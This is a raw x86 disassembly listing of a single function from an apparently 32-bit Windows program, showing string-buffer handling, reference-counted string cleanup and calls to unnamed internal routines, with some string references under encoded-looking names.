mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520e70
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520e66
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ab
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521713
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520eb0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00523c20
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.00448a20
add esp, 0x14
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237b0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.Sl9xckdC
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xd
call fcn.0042cad0
test al, al
jne 0x520fb8
push 8
push str.Sl9xckdC
lea ecx, [ebp - 0x3c]
call fcn.0042cdf0
mov byte [ebp - 4], 0xe
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237ba
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push str.Sl9xclJna2M
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xf
call fcn.0042cad0
test al, al
jne 0x520ffc
push 0xc
push str.Sl9xclJna2M
lea ecx, [ebp - 0x40]
call fcn.0042cdf0
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5bc0f4]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.00432480
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237c4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042cad0
test al, al
jne 0x5210eb
test esi, esi
jne 0x5210ce
xor ecx, ecx
jmp 0x5210e2
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5210d3
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042cdf0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.00445b10
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042c3d0
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5bc0f4]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.00432480
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237ce
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042cad0
test al, al
jne 0x521228
test esi, esi
jne 0x521208
xor ecx, ecx
jmp 0x52121f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x521210
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042cdf0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.00445b10
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042c3d0
mov byte [ebp - 4], 0x1d
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237d8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237e2
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push 0x587fb0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1f
call fcn.0042cad0
test al, al
jne 0x5212d7
push 0x44
push 0x587fb0
lea ecx, [ebp - 0x38]
call fcn.0042cdf0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x7c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gOHkgbWRkY3AgOHkgbWRkY3BHbGRtIDh5IHNwaiA4ICN1cSAqIG1nYiA4I3VxKiBtcnduYyA4ICN1cSB7eyogcWZtdV11Z2xibXUgOCBtZGRjcCB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042b390
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.00432480
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
mov eax, dword [ebp - 0x70]
cmovae ecx, dword [ebp - 0x80]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x60]
mov dword [ebp - 0x48], eax
call fcn.00432480
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.00433660
lea ecx, [ebp - 0x298]
call fcn.00432400
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.00432480
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x24]
call fcn.00442a50
mov byte [ebp - 4], 0x28
push dword [ebp - 0x48]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041f420
mov edx, dword [ebp - 0x24]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52146d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042c3d0
lea ecx, [ebp - 0x130]
call fcn.0042c3d0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x21
call fcn.0042c3d0
mov eax, dword [ebp - 0x34]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x48], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
mov ecx, dword [ebp - 0x48]
add esp, 4
call fcn.0045c730
mov eax, dword [ebp - 0x34]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045c730
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x521534
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x52152a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ec
push ecx
push edx
call fcn.00546e91
add esp, 8
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52154e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521565
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52157c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x521591
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x5215c5
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5215bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ec
push ecx
push edx
call fcn.00546e91
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x521611
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521607
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ec
push ecx
push edx
call fcn.00546e91
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x521666
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52165c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ec
push ecx
push edx
call fcn.00546e91
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x5216bb
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5216b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ec
push ecx
push edx
call fcn.00546e91
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x523711
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520670
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ec
jmp 0x520670
mov edx, 0x5b77a8
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x521765
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521730
sub ecx, dword [ebp - 0x24]
je 0x521765
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521765
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521750
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52176c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5217a0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521796
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237f1
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521a3e
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5217e0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00523c20
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237f6
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x2c
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523800
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x2e
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x52380a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x30
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523814
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x52381e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x9c]
call fcn.00446190
mov esi, dword [ebp - 0x34]
add esp, 0x14
mov ecx, 0x5bc1b8
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00420bb0
mov edi, dword [ebp - 0x6c]
cmp byte [edi + 0xd], 0
jne 0x523828
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00424a80
test al, al
jne 0x523828
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x68], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov dword [ebp - 0x84], esp
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x6c], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042c200
mov ecx, dword [ebp - 0x48]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.00406ea0
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5219de
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5219f5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521a0c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521a23
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x5216d6
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x5216d6
mov edx, 0x5b78c8
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x521a95
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521a60
sub ecx, dword [ebp - 0x2c]
je 0x521a95
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521a95
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521a80
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521a9c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521ad0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521ac6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ec
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x521c92
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521b10
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523832
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x52383c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x3d
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523846
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.00449f00
mov eax, dword [ebp - 0x34]
add esp, 4
mov esi, esp
mov dword [ebp - 0x6c], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.004071c0
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521c5d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521c74
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5216d6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x5216d6
mov edx, 0x5b76e8
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x521ce5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521cb0
sub ecx, dword [ebp - 0x2c]
je 0x521ce5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521ce5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521cd0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521cec
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521d20
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521d16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ec
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x521fbe
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521d60
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x58b2f0
call fcn.00429bc0
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
call fcn.00546f77
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x70], eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.00444d90
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [esi + 0xc]
call fcn.004148b0
mov eax, dword [ebp - 0x70]
push dword [eax + 4]
lea eax, [ebp - 0x70]
push eax
mov ecx, eax
call fcn.004509e0
push 0x2c
push dword [ebp - 0x70]
call fcn.00546e91
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x521ecf
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5bc0dc
call fcn.0042c2f0
lea ecx, [ebp - 0x2c]
call fcn.00442a50
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x521f16
test cx, cx
je 0x521f12
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x521f16
add eax, 4
add edi, 4
test cx, cx
jne 0x521ef0
xor edi, edi
jmp 0x521f1b
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521f36
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x521fa3
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.0042b390
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
